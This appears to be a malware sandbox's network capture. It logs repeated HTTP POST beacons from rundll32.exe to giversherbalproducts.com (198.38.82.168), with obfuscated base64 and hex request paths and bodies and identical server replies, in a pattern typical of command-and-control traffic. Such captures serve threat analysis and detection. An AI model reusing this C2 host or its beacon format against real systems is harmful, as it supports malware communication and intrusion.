f3p/QUVCQ0FBfn15eH96fXpzekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
320	192.168.2.3	50162	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:47.993175983 CEST	7429	OUT	POST /lBawcxb5/LAERIQwdGRp1Jgg8HhRGenN5Yn59cmV+YXg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:48.496822119 CEST	7430	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:48 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 35 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh5dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
321	192.168.2.3	50163	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:49.383407116 CEST	7431	OUT	POST /lBawcxb5/MQkFdDsfQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:49.905150890 CEST	7433	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:49 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 35 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh5dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
322	192.168.2.3	50164	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:49.691051006 CEST	7432	OUT	POST /lBawcxb5/GXp4GXY7InglByp7GkV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:50.180586100 CEST	7434	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:49 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
323	192.168.2.3	50166	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:51.724762917 CEST	7436	OUT	POST /lBawcxb5/P30OKQI7cygoLSMTeD8fHCgsHCpCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:52.173948050 CEST	7437	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:51 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
324	192.168.2.3	50165	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:51.760195017 CEST	7436	OUT	POST /lBawcxb5/HUN6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:52.275310993 CEST	7438	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:51 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
325	192.168.2.3	50167	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:52.578627110 CEST	7439	OUT	POST /lBawcxb5/eRg9eDUFD0J9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:53.083699942 CEST	7440	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:52 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
326	192.168.2.3	50168	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:52.711915970 CEST	7439	OUT	POST /lBawcxb5/BBIhehwhcwoBHgACGgIbIBg+On8DKUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:53.204485893 CEST	7441	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:52 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
327	192.168.2.3	50169	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:53.463207006 CEST	7442	OUT	POST /lBawcxb5/EUN6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:53.964065075 CEST	7443	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:53 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
328	192.168.2.3	50170	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:53.597636938 CEST	7442	OUT	POST /lBawcxb5/HCIIdQESfSk0F38yLScfOQk/LwZyekJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:54.139269114 CEST	7444	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:53 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
329	192.168.2.3	50171	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:54.376425028 CEST	7445	OUT	POST /lBawcxb5/DT49PxcRPXl/e0J7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
